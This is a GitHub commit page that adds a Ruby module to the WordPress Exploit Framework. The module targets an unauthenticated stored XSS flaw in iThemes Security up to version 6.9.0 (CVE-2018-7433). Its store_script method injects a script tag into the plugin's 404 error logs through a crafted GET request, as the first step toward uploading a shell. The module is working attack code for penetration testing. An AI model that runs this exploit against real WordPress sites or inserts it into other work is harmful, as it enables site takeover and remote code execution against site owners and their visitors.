Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 225d61c

Browse files
committed
Add iThemes Security <= 6.9.0 stored XSS shell upload
1 parent ca73c60 commit 225d61c

File tree

1 file changed

+40
-0
lines changed

1 file changed

+40
-0
lines changed
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
# frozen_string_literal: true
2+
3+
class Wpxf::Exploit::IthemesSecurityV690StoredXssShellUpload < Wpxf::Module
4+
include Wpxf::WordPress::StoredXss
5+
6+
def initialize
7+
super
8+
9+
update_info(
10+
name: 'iThemes Security <= 6.9.0 Unauthenticated Stored XSS Shell Upload',
11+
author: [
12+
'Paweł Kuryłowicz', # Disclosure
13+
'rastating' # WPXF module
14+
],
15+
references: [
16+
['WPVDB', '9037'],
17+
['CVE', '2018-7433']
18+
],
19+
date: 'Oct 06 2016'
20+
)
21+
end
22+
23+
def check
24+
check_plugin_version_from_readme('better-wp-security', '6.9.1')
25+
end
26+
27+
def expected_status_code_after_store
28+
404
29+
end
30+
31+
def vulnerable_page
32+
'the 404 error logs'
33+
end
34+
35+
def store_script
36+
execute_get_request(
37+
url: "#{full_uri}?p=#{Wpxf::Utility::Text.rand_numeric(11)}&<script>#{xss_include_script}</script>"
38+
)
39+
end
40+
end

0 commit comments

Comments
 (0)